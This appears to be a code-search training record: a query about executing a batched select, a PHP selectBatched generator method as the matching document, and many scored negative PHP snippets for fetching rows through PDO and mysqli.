"0.6665751",
"0.6640858",
"0.66309464",
"0.6628021",
"0.66032696",
"0.6602842",
"0.65965974",
"0.65853536",
"0.65853536",
"0.6584227",
"0.65321577",
"0.6502146",
"0.64911515",
"0.6485258",
"0.64840686",
"0.6483343",
"0.64700174",
"0.64268726",
"0.6425462",
"0.6423908",
"0.64215356",
"0.6419404",
"0.64179504",
"0.6417763",
"0.6411442",
"0.6410867",
"0.6406386",
"0.6401651",
"0.63957405",
"0.6391093",
"0.6385719",
"0.63743836",
"0.63635904",
"0.63574815",
"0.63481647",
"0.63459736",
"0.63459736",
"0.63459736",
"0.63168997",
"0.63168997",
"0.63168997",
"0.63168997",
"0.63156843",
"0.63096726",
"0.63059676",
"0.6293348",
"0.6287867",
"0.628676",
"0.628676",
"0.6282636",
"0.6282304",
"0.6278319",
"0.62782985",
"0.62733626",
"0.6264766",
"0.62533665",
"0.6249094",
"0.6249014",
"0.62431264",
"0.62380165",
"0.62356055",
"0.6232532",
"0.6227859",
"0.6206487",
"0.6198699",
"0.61855394",
"0.6182026",
"0.6176256",
"0.61757106",
"0.6171581",
"0.61706877",
"0.61701447",
"0.6169529",
"0.6169292",
"0.6161059",
"0.6159682",
"0.6156732",
"0.61553234",
"0.61534685",
"0.6147976",
"0.6144484",
"0.61427575",
"0.61405414",
"0.6139487"
]
| 0.0 | -1 |
Execute a select query and return the first entity | public function selectOne(Query\Select $query): ?Entity
{
return $this->db->selectOne($this->klass, $query);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function first() {\n $this->limit(1);\n $query = $this->query( $this->_active_query->getQuery(), $this->_active_query->getParams() );\n return new QueryResult($query, TRUE);\n }",
"public function first() {\n\t\treturn $this->execute()->first();\n\t}",
"final public function first()\n {\n $queryBuilder = $this->createQueryBuilder();\n $queryBuilder->selectAll();\n $queryBuilder->limit(1);\n\n return $this->fetchOne($queryBuilder);\n }",
"public function single()\n {\n $this->executeQuery($this->statement);\n return $this->fetch($this->statement);\n }",
"public function first()\n {\n return $this->execute(\n $this->syntax->selectSyntax(get_object_vars($this->order($this->key, 'ASC')->limit(1)))\n );\n }",
"protected function getOne()\n {\n $statement = $this->connection->query($this->sqlToString());\n return $this->fetch($statement);\n }",
"public function selectFirst()\n {\n return $this->pdoConnection->query('SELECT * FROM ' . $this->table . ' LIMIT 1 ', \\PDO::FETCH_CLASS, $this->className)->fetch();\n }",
"public function fetchSingle() {\n $this->execute();\n return $this->stmt->fetch(PDO::FETCH_OBJ);\n }",
"public function first()\n {\n $sql = $this->get() . ' LIMIT 1';\n $this->query = $sql;\n }",
"public function getOne() {\n $prepareStatement = $this->pdo->prepare($this->sql);\n $prepareStatement->execute($this->param);\n\n Connection::disconnect();\n\n if ($this->fetch !== PDO::FETCH_CLASS) {\n if (1 == $prepareStatement->columnCount())\n return $prepareStatement->fetch(PDO::FETCH_COLUMN);\n return $prepareStatement->fetch($this->fetch);\n }\n\n return $prepareStatement->fetchObject();\n }",
"public function single(){\n\t\t$this->execute();\n\t\treturn $this->stmt->fetch(PDO::FETCH_OBJ);\n\t}",
"public function first(){\n $this->execute();\n if(count($this->results) > 0){\n return current($this->results);\n } else {\n return null;\n }\n }",
"public function single(){\r\n $this->execute();\r\n return $this->stmt->fetch(PDO::FETCH_OBJ);\r\n }",
"public function single() {\n $this->execute();\n return $this->stmt->fetch(PDO::FETCH_OBJ);\n }",
"public function single()\n\t{\n\t\t$this->execute();\n\t\treturn $this->stm->fetch(PDO::FETCH_OBJ);\n\t}",
"public function findOne() {\n $this->buildSql();\n $rows = $this->db->findOne($this->sql);\n return $rows;\n }",
"public function getOne($query = array())\n\t{\n\t\t// Check if database query has been given\n\t\tif (!$query instanceof Kohana_Database_Query)\n\t\t{\n\t\t\t// Query not given so create one\n\t\t\t$query = $this->populateWhere(DB::select(), $query);\n\t\t}\n\t\t$query->from($this->table); // Use the specified entity table\n\t\t$query->limit(1); // Limit to only 1 record\n\t\t$query->as_object($this->entityClass); // Use the defined entity class\n\t\t$result = $query->execute(); // Execute the query\n\n\t\t// Did we get a result?\n\t\tif ($result->count() === 0)\n\t\t{\n\t\t\t// No result\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Return the first (and only) row\n\t\t\treturn $this->loadRelations($result[0]);\n\t\t}\n\t}",
"static function first() {\n list($record) = self::collection(null, \"id LIMIT 1\");\n return isset($record) ? $record : null;\n }",
"function findFirst($sql) {\n\t\t$args = func_get_args();\n\t\tarray_shift($args);\n\n\t\t$statement = $this->execute($sql, $args);\n\t\t$obj = $statement->fetchObject($this->resultClass, array($this));\n\t\treturn $obj;\n\t}",
"public function first($select='*', $condition = null){\r\n\t\treturn $this->mask()->getOne($select, $condition, get_class($this));\r\n\t}",
"public function first()\n {\n if (!$this->_result) {\n $this->limit(1);\n }\n\n return $this->all()->first();\n }",
"public function getResultSingle() {\n $this->execute();\n return $this->statement->fetch(PDO::FETCH_OBJ);\n }",
"public function fetchOne() {\r\n\t\t$data = $this->fetch();\r\n\r\n\t\t$this->freeResult();\r\n\r\n\t\treturn $data ? current($data) : null;\r\n\t}",
"public function execute() {\n $this->query->filter($this->filter);\n $data = $this->query->execute();\n $results = $data['results'];\n\n if (!$results) {\n return;\n }\n\n return entity_load($this->EntityType, array_keys($results));\n }",
"public function getFirst()\r\n {\r\n return $this->dao->select('*')->from(TABLE_COMPANY)->orderBy('id')->limit(1)->fetch();\r\n }",
"public function first($limit = 1)\r\n {\r\n $rs = $this->limit($limit);\r\n\r\n if ($limit == 1) {\r\n $this->type = 'select_one';\r\n }\r\n\r\n return $this->execute();\r\n }",
"public function first()\n {\n return $this->retrieveOrCreateQueryInstance()->firstOrFail();\n }",
"public function findFirst() {\r\n\t\t$aux = $this->fetchAllPg(1);\r\n\t\tif($aux == null)\r\n\t\t\treturn null;\r\n\t\treturn $aux[0];\r\n\t}",
"public function singleRow(){\n $this->execute();\n return $this->statement->fetch(PDO::FETCH_OBJ);\n }",
"public function exec_SELECTgetSingleRow() {}",
"public function getOne(){\n\n $pedido = $this->db->query(\"SELECT * FROM pedidos WHERE id = {$this->getId()}\");\n\n \n return $pedido->fetch_object();\n }",
"public function fetch_single(): mixed\n {\n $sth = $this->query(func_get_args());\n if(is_object($sth)) {\n return $sth->fetch();\n } else {\n return $sth;\n }\n }",
"public function getOne(){\n //hacemos la consulta y lo guardamos en una variable\n $producto=$this->db->query(\"SELECT * FROM pedidos where id={$this->getId()};\");\n //devolvemos un valor en especifico y lo comvertimos a un objeto completamente usable.\n return $producto->fetch_object();\n }",
"function oneQuery($sql){\n\t\treturn $this->fetch($this->query($sql))[0];\n\t}",
"public function first()\n {\n // return $this->_results[0];\n return $this->results()[0];\n }",
"public function first()\n {\n return call_user_func($this->class . \"::__createInstanceFromArray\", $this->query->first());\n }",
"public function queryFirstRow($sql, $params = array())\n {\n $stmt = call_user_func_array(array($this, 'select'), func_get_args());\n $row = $stmt->fetch();\n $stmt->closeCursor();\n //if ($row === false) throw new \\DomainException(\"row not found\");\n return $row ?: null;\n }",
"public function first(){\n return $this->find(1);\n }",
"public function getOne($sql, $params=[]){\n try \n {\n $stmt = $this->dbh->prepare($sql);\n $stmt->execute($params);\n return $stmt->fetch();\n \n } catch (PDOException $e) \n {\n throw new Exception($e->getMessage());\n }\n\n }",
"public function first()\n {\n return $this->results()[0];\n }",
"public function first(){\n // return $this->_results[0];\n return $this->results()[0];\n }",
"public function getFirstResult();",
"public function getFirstResult();",
"public function findOne(PDO $con)\n\t{\n\t\t$class = $this->resultClass;\n\t\t$stmt = $this->doExecute($con);\n\t\tif ($row = $stmt->fetch(PDO::FETCH_NUM)) {\n\t\t\t$record = new $class();\n\t\t\t$record->load($row);\n\t\t\treturn $record;\n\t\t} \n\t}",
"public function single()\n {\n $this->execute();\n return $this->stmt->fetch(PDO::FETCH_ASSOC);\n }",
"function first( $sql ){\n\t\tif( $this->db == null ){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$result = null;\n\t\tif ( $results = $this->db->query( $sql ) ) {\n\t\t $result = $results->fetch_object();\n\t\t\t$results->close();\n\t\t}\n\n\t\treturn $result;\n\t}",
"public function selectSingle() {\n $suffix = $this->formQuerySuffix();\n $arr = $this->table->selectSingle($suffix);\n $class = $this->className;\n $result = null;\n\n DBRecord::$fromPostData = false;\n if ($arr) $result = new $class($arr);\n DBRecord::$fromPostData = true;\n\n return $result;\n }",
"public function getFirst()\n {\n if (is_array($this->rows)) {\n $rows = &$this->rows;\n } else {\n $query = clone $this->query;\n $query->setLimit(1);\n $rows = $query->getResult();\n }\n\n return (isset($rows[0])) ? $rows[0] : null;\n }",
"public function testSelectFirst()\n {\n $query = new SQLSelect();\n $query->setFrom('\"SQLSelectTest_DO\"');\n $query->setOrderBy('\"Name\"');\n $result = $query->firstRow()->execute();\n\n $records = [];\n foreach ($result as $row) {\n $records[] = $row;\n }\n\n $this->assertCount(1, $records);\n $this->assertEquals('Object 1', $records[0]['Name']);\n\n // Test first from empty sequence\n $query = new SQLSelect();\n $query->setFrom('\"SQLSelectTest_DO\"');\n $query->setOrderBy('\"Name\"');\n $query->setWhere(['\"Name\"' => 'Nonexistent Object']);\n $result = $query->firstRow()->execute();\n\n $records = [];\n foreach ($result as $row) {\n $records[] = $row;\n }\n\n $this->assertCount(0, $records);\n\n // Test that given the last item, the 'first' in this list matches the last\n $query = new SQLSelect();\n $query->setFrom('\"SQLSelectTest_DO\"');\n $query->setOrderBy('\"Name\"');\n $query->setLimit(1, 1);\n $result = $query->firstRow()->execute();\n\n $records = [];\n foreach ($result as $row) {\n $records[] = $row;\n }\n\n $this->assertCount(1, $records);\n $this->assertEquals('Object 2', $records[0]['Name']);\n }",
"public function first()\n {\n return $this->results()[0];\n }",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first();",
"public function first()\n {\n $result = $this->limit(1)->get();\n\n return $result[0] ?? null;\n }",
"public function fetch_one($sql) {\n\t\t\tglobal $db;\n\t\t\t$result = mysqli_query($db,$sql);\n\t\t\treturn mysqli_fetch_object($result);\n\t\t}",
"public function first(){\n\n //using the above (results) method here\n return $this->results()[0]; //depends on the version of your PHP server\n //return $this->results[0];\n }",
"public function first() {\n\t\t$result = $this->get_result();\n\n\t\treturn array_shift( $result );\n\t}",
"public function read_single()\n {\n // Create query\n $query = \"\n SELECT\n id,\n name\n FROM\n $this->table\n WHERE \n id = ?\n LIMIT 1;\";\n\n //Prepare statement\n $stmt = $this->conn->prepare($query);\n \n // Bind ID\n $stmt->bindParam(1, $this->id);\n \n // Execute query\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n \n // set properties\n $this->id = $row['id'];\n $this->name = $row['name'];\n }",
"function fetchOne($sql)\n\t{\n\t\t$this->sql =& $sql;\n\t\t$queryresult = $this->execute_query(true, $this->connection_master);\n\t\t$returnresult = $this->result($queryresult);\n\t\t$this->free_result($queryresult);\n\t\treturn $returnresult;\n\t}",
"private function fetchOne(QueryBuilder $queryBuilder)\n {\n return call_user_func_array([$this->model, 'query_row'], $this->getQuery($queryBuilder));\n }",
"function get_one_by( $conds = array()) {\n\n\t\t// where clause\n\t\t$this->custom_conds( $conds );\n\n\t\t// query the record\n\t\t$query = $this->db->get( $this->table_name );\n\n\t\tif ( $query->num_rows() == 1 ) {\n\t\t// if there is one row, return the record\n\t\t\treturn $query->row();\n\t\t} else {\n\t\t// if there is no row or more than one, return the empty object\n\t\t\t return $this->get_empty_object( $this->table_name );\n\t\t\t\n\t\t}\n\n\t}",
"public function singleResult() {\n $this->_pstmt->setFetchMode(PDO::FETCH_CLASS, $this->_className);\n return $this->_pstmt->fetch(PDO::FETCH_CLASS);\n }",
"public function fetch_one()\n {\n if (!$this->limit) $this->limit(1);\n $rows = $this->fetch_all();\n return count($rows) ? array_shift($rows): null;\n }",
"public function first()\n {\n return $this->take(1)->get()->first();\n }",
"public function fetchOne($sql, $params = array());",
"public static function fetchOne($result=null) {\n\treturn self::$instance->fetchOne($result);\n }",
"public function first()\n\t{\n\t\treturn $this->find()->first();\n\t}",
"public function single($allowEmpty = false)\n {\n $data = $this->fetch();\n $count = count($data);\n\n if ($count > 1) {\n throw new OrmException(\"Query returned $count rows. Requested a single row.\");\n }\n\n if ($count == 0 && !$allowEmpty) {\n throw new OrmException(\"Query returned 0 rows. Requested a single row.\");\n }\n\n return isset($data[0]) ? $data[0] : null;\n }",
"public function getOneByUser(){\n $sql = \"SELECT p.id, p.coste FROM pedidos p \"\n //. \"INNER JOIN lineas_pedidos lp ON p.id = lp.pedido_id \"\n . \"WHERE p.usuario_id = {$this->getUsuario_id()} ORDER BY id DESC LIMIT 1\";\n\n $pedido = $this->db->query($sql);\n\n \n //echo $this->db->error;\n \n return $pedido->fetch_object();\n \n }",
"public function getOne($query) {\n $results = $this->getResults($query);\n $row = $results->fetch_row();\n return $row[0];\n }",
"public function selectById()\n {\n $sql = \"SELECT * FROM \" . self::TABLE_NAME . \" WHERE id=?\";\n $stmt = $this->prepare($sql);\n $stmt->bind_param(\"s\", $this->getId());\n $stmt->execute();\n $result = $stmt->get_result();\n $stmt->close();\n return $result->fetch_assoc();\n }",
"protected static function getFirst($query) {\n $db = Dispatch::getConnection();\n $query = $db->query($query)->fetch_row();\n return $query[0];\n\n }",
"public function getOneByUser(){\n //hacemos la consulta y lo guardamos en una variable\n $sql=\"SELECT id,coste FROM pedidos\"\n .\" where usuario_id={$this->getUsuario_id()} order by id desc limit 1\";\n $pedido=$this->db->query($sql);\n //devolvemos un valor en especifico y lo comvertimos a un objeto completamente usable.\n return $pedido->fetch_object();\n }",
"public function findOne()\r\n {\r\n $records = $this->find(1);\r\n \r\n return isset($records[0]) ? $records[0] : null;\r\n }",
"function fetchSingleRow($query) \t{\n\t\tif($query != '') \t\t{\n\t $res = $this->execute($query);\n\t $data = $this->fetchAll($res);\n\t if($data) return $data[0]; \n\t\t}\n\t}",
"public function readOne()\n {\n $sql = 'SELECT id_producto, nombre_producto, descripcion_producto, precio_producto, imagen_producto, stock, id_marca, estado_producto\n FROM productos\n WHERE id_producto = ?';\n $params = array($this->id);\n return Database::getRow($sql, $params);\n }",
"public function fetchOne( $type = null ){\n if( is_null( $type ) ){\n $type = PDO::FETCH_OBJ;\n }\n\n return $this->stmt->fetch( $type );\n }",
"public function get_one($query)\n {\n \t$res=pg_query($this->connection,$query);\n \t$row=pg_fetch_array($res);\n \treturn $row[0];\n }",
"function select_one($sql){\n\t\t\t$conexion = new ConexionOther();\n\t\t\t$stmt = $conexion->prepare($sql);\n $stmt->execute(); \n $datos = $stmt->fetch();\n\t\t\t$stmt = null;\n\t\t\treturn $datos;\n}",
"public function First()\n {\n return $this->Results()[0];\n }",
"public function first()\n {\n if($this->_results) {\n return $this->_results[0];\n }\n return null;\n }",
"public function firstRow()\n {\n $query = clone $this;\n $offset = $this->limit ? $this->limit['start'] : 0;\n $query->setLimit(1, $offset);\n return $query;\n }",
"function db_query_first($sql, $args=array()) {\n $sth = db_query($sql, $args);\n $row = $sth->fetch(PDO::FETCH_BOTH);\n $sth->closeCursor();\n return $row ? $row : NULL;\n}",
"public function get() {\n\t\t$numArgs = func_num_args();\n\t\t$results = null;\n\t\tif($numArgs == 0){\n\t\t\t$results = $this->limit(1);\n\t\t}else{\n\t\t\t$results = $this->filter(func_get_args())->limit(1);\n\t\t}\n\t\t\n\t\t// Return the first element of the query, if there is no elements\n\t\t// an OutOfRangeException exception is raised\n\t\ttry{\n\t\t\treturn $results[0];\n\t\t}catch(\\OutOfRangeException $e){\n\t\t\tthrow new \\OutOfRangeException(\"Unable to get object in this query. There are no objects that comply with your filter.\");\n\t\t}\n\t}",
"public function queryOne($sql, $fetchStyle = \\PDO::FETCH_BOTH, $cursorOrientation = \\PDO::FETCH_ORI_NEXT, $cursorOffset = 0) {\n\t\ttry {\n\t\t\t$statement = $this->query($sql);\n\t\t\treturn $statement->fetch($fetchStyle, $cursorOrientation, $cursorOffset);\n\t\t} catch(\\PDOException $e) {\n\t\t\t$this->logError($e->getMessage());\n\t\t\tthrow new QueryOneException($e->getMessage());\n\t\t}\n\t}",
"public function QueryFirstRow($sql, array $parameters = null, $fetch_type = null){\n\t\tif($this->Execute($sql, $parameters)){\n\t\t\treturn $this->statement->fetch(($fetch_type === null) ? PDO::FETCH_ASSOC : $fetch_type);\n\t\t}\n\t}",
"public function first(): QueryInterface\n\t{\n\t\tif ($this->isEmpty()) {\n\t\t\treturn new Query();\n\t\t}\n\n\t\treturn $this[0];\n\t}",
"public function fetchOne($sql){\n try{\n $result = $this->pdo->query($sql);\n return $result->fetch(\\PDO::FETCH_ASSOC);\n }catch(\\PDOException $exception){\n echo \"Wrong Message: \".$exception->getMessage();\n }\n }",
"function getOneFromSQL( $sql ) {\r\n\r\n\t\tif( $resID = $this->query( $sql ) )\r\n\t\t\t\t\treturn $this->getOne( $resID );\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t}",
"public function getOne($sql, $bind = null)\r\n {\r\n $result = $this->_execute($sql, $bind);\r\n\r\n return $result->fetchSingle();\r\n }",
"public function first()\n\t{\n\t\treturn parent::first();\n\t}",
"public function first()\n\t{\n\t\treturn parent::first();\n\t}",
"public function first()\n\t{\n\t\treturn parent::first();\n\t}",
"public function first()\n\t{\n\t\treturn parent::first();\n\t}",
"public function first()\n\t{\n\t\treturn parent::first();\n\t}"
]
| [
"0.76288784",
"0.7558675",
"0.7490329",
"0.7473415",
"0.745669",
"0.7334283",
"0.7329927",
"0.72250414",
"0.7168374",
"0.7164569",
"0.71044946",
"0.7099785",
"0.7098384",
"0.7066897",
"0.70445156",
"0.70086324",
"0.69957376",
"0.6985343",
"0.69528043",
"0.6949101",
"0.69222564",
"0.69143724",
"0.6906189",
"0.68972164",
"0.6878282",
"0.68525565",
"0.6825127",
"0.6787996",
"0.6783411",
"0.67712957",
"0.6759554",
"0.671921",
"0.67101943",
"0.66749436",
"0.665818",
"0.665748",
"0.6655068",
"0.6654728",
"0.66366446",
"0.6631695",
"0.66306543",
"0.6621123",
"0.6621123",
"0.66140664",
"0.6600388",
"0.65993035",
"0.65969586",
"0.65824485",
"0.65686417",
"0.65217537",
"0.6519734",
"0.6519734",
"0.6519734",
"0.6519734",
"0.6519734",
"0.6519734",
"0.6519734",
"0.6519734",
"0.65187925",
"0.6510848",
"0.6507498",
"0.6454781",
"0.645178",
"0.64492273",
"0.64484495",
"0.6444506",
"0.643541",
"0.6435208",
"0.6421595",
"0.64136416",
"0.64054334",
"0.6388577",
"0.63773334",
"0.63759625",
"0.6325286",
"0.6321485",
"0.63161594",
"0.6314147",
"0.6305057",
"0.62968504",
"0.6277282",
"0.6273291",
"0.6262549",
"0.625261",
"0.62311965",
"0.6226505",
"0.6214497",
"0.62107164",
"0.6207613",
"0.6202703",
"0.6202324",
"0.6200663",
"0.6200291",
"0.61923695",
"0.61855906",
"0.6182059",
"0.6182059",
"0.6182059",
"0.6182059",
"0.6182059"
]
| 0.72795695 | 7 |
Execute a select query in a batched fashion | public function selectBatched(Query\Select $query, int $batchSize = null): \Generator
{
/** @var Batch<TEntity> $batch */
$batch = new Batch($this->db);
$result = $this->select($query);
foreach ($result as $entity) {
$batch->addEntity($entity);
if ($batch->isFull($batchSize)) {
yield $batch;
/** @var Batch<TEntity> $batch */
$batch = new Batch($this->db);
}
}
if (!$batch->isEmpty()) {
yield $batch;
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function executeAll();",
"public function runSelect($query, $entries) {\n $db = $this->db;\n $statement = $db->prepare($query);\n if ($entries) {\n $statement->execute($entries);\n } else {\n $statement->execute();\n }\n $results = $statement->fetchAll();\n if ($results) {\n return $this->resultsToArray($results);\n } else {\n return [];\n }\n }",
"public function fetchMulti($query, Database_Config $databaseConfig = NULL);",
"function dobatch ($p_query) {\n $query_split = preg_split (\"/[;]+/\", $p_query);\n foreach ($query_split as $command_line) {\n $command_line = trim($command_line);\n if ($command_line != '') {\n $query_result = mysql_query($command_line);\n if ($query_result == 0) {\n break;\n };\n };\n };\n return $query_result;\n}",
"public function executeRows(string $query): array\n {\n $result = $this->query($query);\n if ($this->haveFetchAll)\n {\n $ret = $result->fetch_all(MYSQLI_ASSOC);\n }\n else\n {\n $ret = [];\n while (($row = $result->fetch_assoc()))\n {\n $ret[] = $row;\n }\n }\n $result->free();\n\n if ($this->mysqli->more_results()) $this->mysqli->next_result();\n\n return $ret;\n }",
"public function execute()\n\t{\n\t\t// Use cached results if found (previous count() or other internal call)\n\t\tif($this->activeQueryResults) {\n\t\t\t$results = $this->activeQueryResults;\n\t\t} else {\n\t\t\tif($this->activeQuery instanceof phpDataMapper_Database_Query_Interface) {\n\t\t\t\t$results = $this->query($this->activeQuery->sql(), $this->activeQuery->getParameters());\n\t\t\t\t$this->activeQueryResults = $results;\n\t\t\t} else {\n\t\t\t\t$results = array();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $results;\n\t}",
"public function callSelectSP($query)\n\t{\n\t\t$this->fetched_rows = array();\n\t\tif( self::$_instance->multi_query($query) )\n\t\t{\n\t\t\tif( $this->result = self::$_instance->use_result() )\n\t\t\t{\n\t\t\t\twhile( $row = $this->result->fetch_assoc() )\n\t\t\t\t\t$this->fetched_rows[] = $row;\n\n\t\t\t\t$this->result->free();\n\t\t\t}\n\n\t\t\twhile( self::$_instance->more_results() )\n\t\t\t\tself::$_instance->next_result();\n\n\t\t}\n\n\t\treturn $this->fetched_rows;\t\t\n\t}",
"public function execute(): array\n {\n if (!$this->table) {\n return Array();\n }\n $where = $this->getWhere();\n\n $this->statement($where);\n $this->statement($this->order);\n $this->statement($this->limit);\n \n $query = $this->prepare();\n \n if ($query) {\n try {\n $query->execute();\n\n return $query->fetchAll();\n } catch (\\PDOException $e) {\n $this->mydatabase->handleError($e, \"SELECT-EXECUTE\", $this->statement);\n }\n }\n \n return Array();\n }",
"public function processSelect(Builder $query, $results);",
"public function multi_query($query){\n $connection = $this -> connect();\n\n \t// Query the database\n $result = $connection -> multi_query($query);\n\n return $result;\n }",
"public function queryAll() {\r\n $sql = \"SELECT * FROM $this->table\";\r\n $stmt = ConnectionFactory::prepare($sql);\r\n $stmt->execute();\r\n return $stmt->fetchAll();\r\n }",
"private function executeQuery() {\n\t\t$recordset = $this->getConnection()->execute( $this );\n\t\t\n\t\tif( $recordset === false ) {\n\t\t\t$this->_recordset = array();\n\t\t} else {\n\t\t\t$this->_recordset = $recordset;\n\t\t}\n\n\t\t$this->_currentRow = 0;\n\t\t$this->isDirty( false );\n\t}",
"protected function runSelect()\n {\n return $this->connection->select(\n $this->toSql(),\n $this->getBindings(),\n $this->option->setUseWrite($this->useWritePdo)\n );\n }",
"public function batch($queries)\n {\n foreach ($queries as $query) {\n ee()->db->query($query);\n }\n }",
"public function queryBatch($SOQL = NULL) {\n $resultSet = array();\n $done = false;\n\n $queryResult = $this->query($SOQL);\n\n if ($queryResult->size > 0) {\n while (!$done) {\n foreach ($queryResult->records as $record) {\n $sObject = new SObject($record);\n $result = get_object_vars($sObject->fields);\n $result['Id'] = $sObject->Id;\n $resultSet[] = $result;\n }\n if ($queryResult->done != true) {\n $this->queryMore($queryResult);\n } else {\n $done = true;\n }\n }\n }\n \n return $resultSet;\n }",
"private function executeAndFetchStatement($select){\n $this->statement = $this->connection->prepare($select);\n $this->statement->execute();\n $result = $this->statement->fetchAll(PDO::FETCH_ASSOC);\n return $result;\n }",
"function multi_query($querys) {\n\t\tif ( is_array($querys) && sizeof($querys) == 0 )\n\t\t\treturn true;\n\n\t\tif ( $this->failed || $this->mysql_client == null )\n\t\t\treturn false;\n\n\t\tif ( !$this->started ) {\n\t\t\t$rs = $this->mysql_client->query('BEGIN;');\n\t\t\tif ( !$rs ) {\n\t\t\t\t$this->failed = true;\n\t\t\t\telog(\"query failed: BEGIN: \" . $this->mysql_client->error);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\t$explain_result = null;\n\t\tif ( $this->explain && 0 ) {\n\t\t\t$rs = $this->mysql_client->query(\"EXPLAIN EXTENDED \" . $query);\n\t\t\telog(json_encode(ms_fetch_all($rs), JSON_PRETTY_PRINT|JSON_NUMERIC_CHECK));\n\t\t}\n\n\t\t$querystr = '';\n\t\tforeach ($querys as $query) {\n\t\t\t$querystr .= trim($query, ';') . ';';\n\t\t}\n\n\t\t$multirs = null;\n\n\t\t$mt_bgn = microtime(true);\n\t\t$rs = $this->mysql_client->multi_query($querystr);\n\t\t$mt_end = microtime(true);\n\n\t\tif ( $rs ) {\n\t\t\t$multirs = array();\n\n\t\t\tdo {\n\t\t\t\t/* store first result set */\n\t\t\t\tif ($result = $this->mysql_client->store_result())\n\t\t\t\t\tarray_push($multirs, $result);\n\t\t\t} while ($this->mysql_client->more_results() && $this->mysql_client->next_result());\n\n\t\t\t$this->started = true;\n\t\t\t$this->querys[] = $querystr;\n\t\t\t$this->querys_info['exec_times'][] = $mt_end - $mt_bgn;\n\t\t\t$this->querys_info['explain_results'][] = $explain_result;\n\t\t} else {\n\t\t\t$this->failed = true;\n\n\t\t\telog(\"queries failed: $querystr: \" . $this->mysql_client->error);\n\t\t}\n\n\t\tif ( !$this->failed )\n\t\t\treturn $multirs;\n\t\treturn $rs;\n\t}",
"public function fetchAll($sql);",
"public function fetchAll($sql);",
"function db_multi_query($query, $link_id,$debug=false, $die_on_debug=true, $silent=false,$executedto=\"Local\") {\n if ($link_id!=\"mlks\"){\n\t\n \n\tif ($GLOBALS['DB_DEBUG']||$debug) {\n\t\techo \"<pre>\" . htmlspecialchars($query) . \"(\".$executedto.\")</pre>\";\nif ($die_on_debug&&$GLOBALS['DB_DIE_ON_DEBUG']) die;\n\t\n\t}\n/*\n$query=(substr($query,0,stripos($query,\"FROM\"))).strtolower(substr($query,stripos($query,\"FROM\")));\n$query=LowTblNames($query,\",\");\n*/\n if (mysqli_multi_query($link_id,$query)) { \n $i = 0; \n do { \n $i++; \n } while ($res[]=mysqli_next_result($link_id)); \n} \nif (mysqli_errno($link_id)) { \n echo \"Batch execution prematurely ended on statement $i.\\n\"; \n var_dump(mysqli_error($link_id)); \n} \n \t\n //db_log($query,$executedto);\n return $res;\n }\n}",
"function query_batch( $abort_on_error=true, $p_transaction_safe = false) {\n $this->_errorNum = 0;\n $this->_errorMsg = '';\n if ($p_transaction_safe) {\n $si = mysql_get_server_info();\n preg_match_all( \"/(\\d+)\\.(\\d+)\\.(\\d+)/i\", $si, $m );\n if ($m[1] >= 4) {\n $this->_sql = 'START TRANSACTION;' . $this->_sql . '; COMMIT;';\n } else if ($m[2] >= 23 && $m[3] >= 19) {\n $this->_sql = 'BEGIN WORK;' . $this->_sql . '; COMMIT;';\n } else if ($m[2] >= 23 && $m[3] >= 17) {\n $this->_sql = 'BEGIN;' . $this->_sql . '; COMMIT;';\n }\n }\n\n $query_split = preg_split (\"/[;]+/\", $this->_sql);\n $error = 0;\n $counter = 0;\n foreach ($query_split as $command_line) {\n $counter++;\n $command_line = trim( $command_line );\n if ($command_line != '') {\n $this->_cursor = mysql_query( $command_line, $this->_resource );\n if (!$this->_cursor) {\n $error = 1;\n $this->_errorNum .= mysql_errno( $this->_resource ) . ' ';\n $this->_errorMsg .= mysql_error( $this->_resource ).\" SQL=$command_line <br />\";\n\n if ($abort_on_error) {\n handle_error($this->getPrettyErrorMessage());\n return $this->_cursor;\n }\n }\n }\n }\n return $error ? false : true;\n\t}",
"public function run()\n {\n $marks = [];\n\n foreach ($this->data as $field => $value) {\n $marks[\":{$field}\"] = $value;\n }\n\n return $this->entity->getDb()->execute((string) $this, $marks);\n }",
"private function _select(){\n $this->debugBacktrace();\n $parameter = $this->selectParam; //transfer to local variable.\n $this->selectParam = \"\"; //reset updateParam.\n\n \n \n $sql = \"\";\n if($this->hasRawSql){\n $sql = $parameter;\n $this->hasRawSql = false;\n }\n else{\n $tableName = $this->tableName;\n $this->tableName = \"\"; //reset.\n\n $columns = \"\";\n if(!isset($parameter) || empty($parameter)){\n $columns = \"*\";\n $sql = $this->_prepare_select_sql($columns,$tableName);\n }\n else{\n //first check whether it has 'select' keyword\n $parameter = trim($parameter);\n $keyWord = substr($parameter,0,6);\n if(strtoupper($keyWord)==\"SELECT\") {\n $sql = $parameter;\n }\n else{\n $columns = $parameter;\n $sql = $this->_prepare_select_sql($columns,$tableName);\n }\n }\n }\n\n \n $queryObject = $this->_perform_mysql_query($sql);\n \n if(empty($this->selectModifier)){\n //No select modifier (first, firstOrDefault, single, singleOrDefault) found ---->\n $quantity = 0;\n $rows = array();\n switch ($this->fetchType){\n case \"fetch_object\":\n while ($row = mysqli_fetch_object($queryObject)) {\n if(isset($tableName)){\n $meta = new stdClass();\n $meta->type = $tableName;\n $row->__meta = $meta;\n }\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_assoc\":\n while ($row = mysqli_fetch_assoc($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_array\":\n while ($row = mysqli_fetch_array($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_row\":\n while ($row = mysqli_fetch_row($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n case \"fetch_field\":\n while ($row = mysqli_fetch_field($queryObject)) {\n $rows[] = $row;\n $quantity++;\n }\n break;\n }\n\n if($quantity>0){\n mysqli_free_result($queryObject);\n }\n\n return $rows;\n //<----No select modifier (first, firstOrDefault, single, singleOrDefault) found \n }\n else{ \n //select modifier (first, firstOrDefault, single, singleOrDefault) found 